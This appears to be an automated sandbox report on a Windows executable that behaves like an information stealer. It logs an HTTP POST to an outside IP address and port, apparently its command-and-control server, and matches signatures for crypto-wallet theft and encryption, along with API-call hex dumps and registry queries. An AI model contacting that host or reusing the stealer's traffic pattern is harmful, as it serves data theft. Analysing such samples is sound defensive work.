charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "1Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Type" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "text/xml" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "http" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Host" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "55615Content" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "296469Expect" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Encoding" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "gzip" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive" Contains base64 string in header "Keep" in header "POST / HTTP/1.1Content-Type: text/xml; charset=utf-8SOAPAction: "http://tempuri.org/Endpoint/GetUpdates"Host: 185.222.58.87:55615Content-Length: 296469Expect: 100-continueAccept-Encoding: gzip, deflateConnection: Keep-Alive"2d:T6aa,The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains ability to perform AES/RC4 encryption (API string) Matched sigs: Contains ability to perform encryption (API string) Matched sigs: Contains key cryptographic functions (API string) Matched sigs: Contains CRYPTO related strings Matched sigs: Contains ability to use Cryptographic classes Matched sigs: Contains ability to perform encryption/decryption using RSA algorithm Matched sigs: Contains reference to cryptographic keys Matched sigs: Calls an API typically to import asymmetric cryptographic keys into a CSP Matched sigs: Calls an API typically used to decrypt a block of data Matched sigs: Contains ability to perform decryption (API string) Matched sigs: Tries to steal crypto wallet extension (file access) Matched sigs: Dropped file has high entropy (likely encrypted/compressed content) Matched sigs: Reads the cryptographic machine GUID Matched sigs: Drops image files with high entropy (likely encrypted/compressed content) Matched sigs: Contains XOR operation loops [Stream disassembly] Matched sigs: Tries to steal crypto wallet extension (string) Matched sigs: YARA signature match - AES Encryption Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider Matched sigs: Calls an API typically to import cryptographic keys into a CSP Matched sigs: Calls an API typically used to encrypt a block of data Matched sigs: Tries to steal Crypto currency wallets information (file access) Matched sigs: HTTP requests contain Base64 strings Matched sigs: Sample file has high entropy (likely encrypted/compressed content)2e:T1c2e,"22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004e0000000c489300c8479300f39b19773c4b93008c0fcb004e000000901dcb000c48930000000000f0479300977f19770c489300e99c1b77c030f073000800000000000000000000b41dcb00a50a4e7414489300144893007245497600000000c030f073ffffffff4a40e4005c000000c030f073000800001477e400 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000a8f193004cf19300226ebe730000ad00000000002d6ebe7387070a662d000000ecb7cf74d0f193000000a50090bccc006085cb001c0000008000000010f193000000a50094f1930070c8bf7333875d15feffffff2d000000d0ccde742700000064f19300856ac0731c23c573a4f19300f85fc07308000000bb69bf73b269bf736f070a662d000000ecb7cf7427000000d0ccde7478f193002d000000d0ccde7427000000a8f19300856ac0731c23c573f0f193007e8add74ee8cdd74738add74bdbba7c02d000000ecb7cf7427000000d0ccde74dc26ad007026ad00bdbba7c0b8f19300fc521b75a4f29300e084dd7475bb2db5feffffff738add74 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000009300988cad00c000ad00c06fce72a08cad00c0f39300a8f39300d06fce72bc8cad00a74dce7200000000a08cad00b74dce72a795f0684ebcd17200000000a0becc00fcf39300dcf39300c06fce72a08cad0014f49300e8f39300d06fce720000000000000000000000008c588974b74dce72e795f0680000000075b94e74988cad000240008048f49300506a1d771db8f803feffffff58f49300001699742032cd0054b0dd7223871a77e1861a7725b94e74000000008c588974988cad00000000002032cd00040000000016997420f49300988cad00b04d9474a0bfbba300000000a0becc00988cad0013e6d0720000c8722c53dd724cf4930080ee5076 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000068d6260738cf1a77b424cb00d4d62607010000006824cb00b424cb006824cb00040000000400000000e0537600100000d4d62607010000006824cb00cd971a779c971a778995fb73b50f4a766824cb0000001a7700000000240c2d6f0000000080ee50760100000000000000f8e2537600000000040000000000000048405276f8e25376d8d6260780e8c476801dcd0080e8c476d4d626070000000080e8c47600000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f684d2000c85d200 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000e6c7d200fec7d200 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000b612d300ca12d300 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d617d300ee17d300 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000f616d3000c17d300 (UID: 00000000-00005280) "22c44c550563220ca7ebfcfc28351b9f.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000001623d3002e23d300 (UID: 00000000-00005280)2f:T1d14,"22c44c550563220ca7ebfcfc28351b9f.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f000002000000000000003809a5000000000080e4930059161a770100000008000000010000000000cb000000000010000000000000000000000002000000020000000000cb00010000000800000000000000a0e49300ee131a7701000000ee131a7708000000000000000800000001000000d8e69300ad9c7f720000cb000800000001000000 (UID: 00000000-00005280) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000010000000c00000000000000000000000000000001000000010000000000000000000000720061006d00650000000000000000000000000000000000010000002f000000000000000000000063006f006e006600690067005c006d006100630000000000000065000000000000000000000000000000000000000000 (UID: 00000000-00007212) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f00000200000000006f006e00000036002d0039003000390064002d0034003500620032002d0038006200380064002d0032006500350065003100640035003200320036003400390000006f00770065007200070000074dc200005892f002b857f102050000054fc200007043f002d04af002f03ff0027851f0023037f0023037f0023037f002 (UID: 00000000-00006620) "powershell.exe" called "GetVersionExA" with parameter 940000000a00000000000000ab3f0000020000000000000000001f038000000000000000a1140000fcd09509ee131a7780000000ee131a77000000000000000080000000f062e471000000001cd195095072be7300001f030000000080000000f062e47102000000002fe47138d19509fb62e471010000008004e571885fc07300000000288e6b1968d19509b864e471f42ee471 (UID: 00000000-00006620) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000002812f40400001003a3ad8f721800000000000000000000000300000002000000000010030c00000000000000200000008cecef00ee131a772812f404ee131a7700000000000000000c00000048d18e0800d18e08a4ecef0028239d7100001003000000000c00000028810705b0ecef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000000000000000001003100000001800000000000000000000000300000002000000000010030c000000000000002cedef0018edef00ee131a7700000000ee131a7700000000000000000c000000ffffe97130edef0028239d7100001003000000000c0000000832fe713cedef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000001003010000001800000000000000000000000300000002000000000010030c00000000000000feffffffdcedef00ee131a7700000000ee131a7700000000000000000c0000002dca97eae8edef00f4edef0028239d7100001003000000000c00000030a5fe7100eeef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000002812f40400001003a3ad8f721800000000000000000000000300000002000000000010030c0000000000000020000000c4ecef00ee131a772812f404ee131a7700000000000000000c000000c8d38e0800d38e08dcecef0028239d7100001003000000000c00000004b50705e8ecef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000001003000000001800000000000000000000000300000002000000000010030c00000000000000b336ecb55cedef00ee131a7700000000ee131a7700000000000000000c000000ffffe971946c1f0374edef0028239d7100001003000000000c0000000832fe7180edef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000001003010000001800000000000000000000000300000002000000000010030c00000000000000feffffff14eeef00ee131a7700000000ee131a7700000000000000000c0000002dca97ea20eeef002ceeef0028239d7100001003000000000c00000030a5fe7138eeef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000002812f40400001003000000001800000000000000000000000300000002000000000010030c000000000000001c398e7210ecef00ee131a772812f404ee131a7700000000000000000c00000030d58e0828ecef0028239d7100001003000000000c0000003c4d080534ecef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000001003000000001800000000000000000000000300000002000000000010030c00000000000000eb37ecb584ecef00ee131a7700000000ee131a7700000000000000000c000000ffffe971946c1f039cecef0028239d7100001003000000000c0000000832fe71a8ecef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000000000000000001003b8edef001800000000000000000000000300000002000000000010030c000000000000005cedef0060edef00ee131a7700000000ee131a7700000000000000000c0000002dca97ea78edef0028239d7100001003000000000c00000030a5fe7184edef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000002812f40400001003000000001800000000000000000000000300000002000000000010030c000000000000001c398e7288ecef00ee131a772812f404ee131a7700000000000000000c000000d03d9908a0ecef0028239d7100001003000000000c000000d0ea0905acecef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000001003000000001800000000000000000000000300000002000000000010030c000000000000009b36ecb534edef00ee131a7700000000ee131a7700000000000000000c000000ffffe971946c1f034cedef0028239d7100001003000000000c0000000832fe7158edef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000000000000000000000000000001003010000001800000000000000000000000300000002000000000010030c00000000000000feffffffecedef00ee131a7700000000ee131a7700000000000000000c0000002dca97eaf8edef0004eeef0028239d7100001003000000000c00000030a5fe7110eeef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000002812f40400001003000000001800000000000000000000000300000002000000000010030c000000000000001c398e7288ecef00ee131a772812f404ee131a7700000000000000000c000000183c9908a0ecef0028239d7100001003000000000c000000a4050a05acecef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000002812f40400001003000000001800000000000000000000000300000002000000000010030c000000000000001c398e7288ecef00ee131a772812f404ee131a7700000000000000000c000000d03d9908a0ecef0028239d7100001003000000000c00000010160a05acecef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000000000000000001003100000001800000000000000000000000300000002000000000010030c0000000000000044edef0030edef00ee131a7700000000ee131a7700000000000000000c000000ffffe97148edef0028239d7100001003000000000c0000000832fe7154edef002f99fe710c000000 (UID: 00000000-00007860) "Po.exe" called "GetVersionExA" with parameter 940000000600000002000000f02300000200000000161a770c000000000000002812f40400001003000000001800000000000000000000000300000002000000000010030c000000000000001c398e7288ecef00ee131a772812f404ee131a7700000000000000000c000000e83e9908a0ecef0028239d7100001003000000000c000000c42f0a05acecef002f99fe710c000000 (UID: 00000000-00007860)30:T47b,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp, 00000000-00007212.00000000.140864.71441000.00000020.mdmp")31:T490,"22c44c550563220ca7ebfcfc28351b9f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "22c44c550563220ca7ebfcfc28351b9f.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "Po.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "Po.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "AUTHENTICODEENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LEVELS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "DEFAULTLEVEL") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "SAFERFLAGS") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "POLICYSCOPE") "powershell.exe" (Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "LOGFILENAME")32:T463,Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "SystemTimeToFileTime" (Indicator: "SystemTimeToFileTime"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "FileTimeToSystemTime" (Indicator: "FileTimeToSystemTime"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp")33:T49b,Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetSystemInfo" (Indicator: "GetSystemInfo"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "RtlNtStatusToDosErrorNoTeb" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00005280.00000000.140497.726A1000.00000020.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "ExpandEnvironmentStringsW" (Indicator: "ExpandEnvironmentStrings"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp") Found reference to API "RtlNtStatusToDosError" (Indicator: "RtlNtStatusToDosError"; Source: "00000000-00006620.00000000.141393.72745000.00000002.mdmp")34:T47b,Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetLocalTime" (Indicator: "GetLocalTime"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00006620.00000000.141393.72731000.00000020.mdmp") Found reference to API "GetSystemTimePreciseAsFileTime" (Indicator: "GetSystemTime"; Source: "00000000-00007212.00000000.140864.713A1000.00000020.mdmp, 00000000-00007212.00000000.140864.71441000.00000020.mdmp")35:T654,Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; File: "22c44c550563220ca7ebfcfc28351b9f.exe") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00005280.00000000.140497.00E6A000.00000002.mdmp, 00000000-00005280.00000000.140497.72707000.00000002.mdmp") Found reference to API "VerSetConditionMask" (Indicator: "VerSetConditionMask"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp") Found reference to API "VerifyVersionInfoW" (Indicator: "VerifyVersionInfo"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersionExW"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "GetVersionExW" (Indicator: "GetVersion"; Source: "00000000-00006620.00000000.141393.000A1000.00000002.mdmp, 00000000-00006620.00000000.141393.72745000.00000002.mdmp") Found reference to API "10598198918,7400,3024,,RtlGetVersion,NTDLL.dll,"00:36:49.234",RX=0,PX=0" (Indicator: "GetVersion"; Source: "00000000-00006620.00000000.141393.02F00000.00000004.mdmp") Found reference to API "RtlGetVersion" (Indicator: "GetVersion"; Source: "00000000-00006620.00000000.141393.72745000.00000002.mdmp")36:T6d0,"Po.exe" (Access type: "QUERY"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTRATIONENABLED"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "REGISTERADAPTERNAME"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DOMAIN"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D03DB0C1-2729-4674-A875-8625DD784300}"; Key: "DHCPDOMAIN"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{D27478B9-2058-11E8-B41F-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")37:Ta23,"22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: ""; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES"; Key: "HIDDEN"; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\FILEASSOCIATIONS"; Key: ""; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\MICROSOFT EDGE\CAPABILITIES\FILEASSOCIATIONS"; Key: ".JPG"; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: ""; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES"; Key: "HIDDEN"; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\FILEASSOCIATIONS"; Key: ""; Value: "") "22c44c550563220ca7ebfcfc28351b9f.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\CAPABILITIES\FILEASSOCIATIONS"; Key: ".JPG"; Value: "") "Po.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET"; Key: ""; Value: "") "Po.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME"; Key: ""; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME"; Key: ""; Value: "") "Po.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "Po.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\GOOGLE CHROME\SHELL\OPEN\COMMAND"; Key: ""; Value: "") "Po.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLIENTS\STARTMENUINTERNET\IEXPLORE.EXE"; 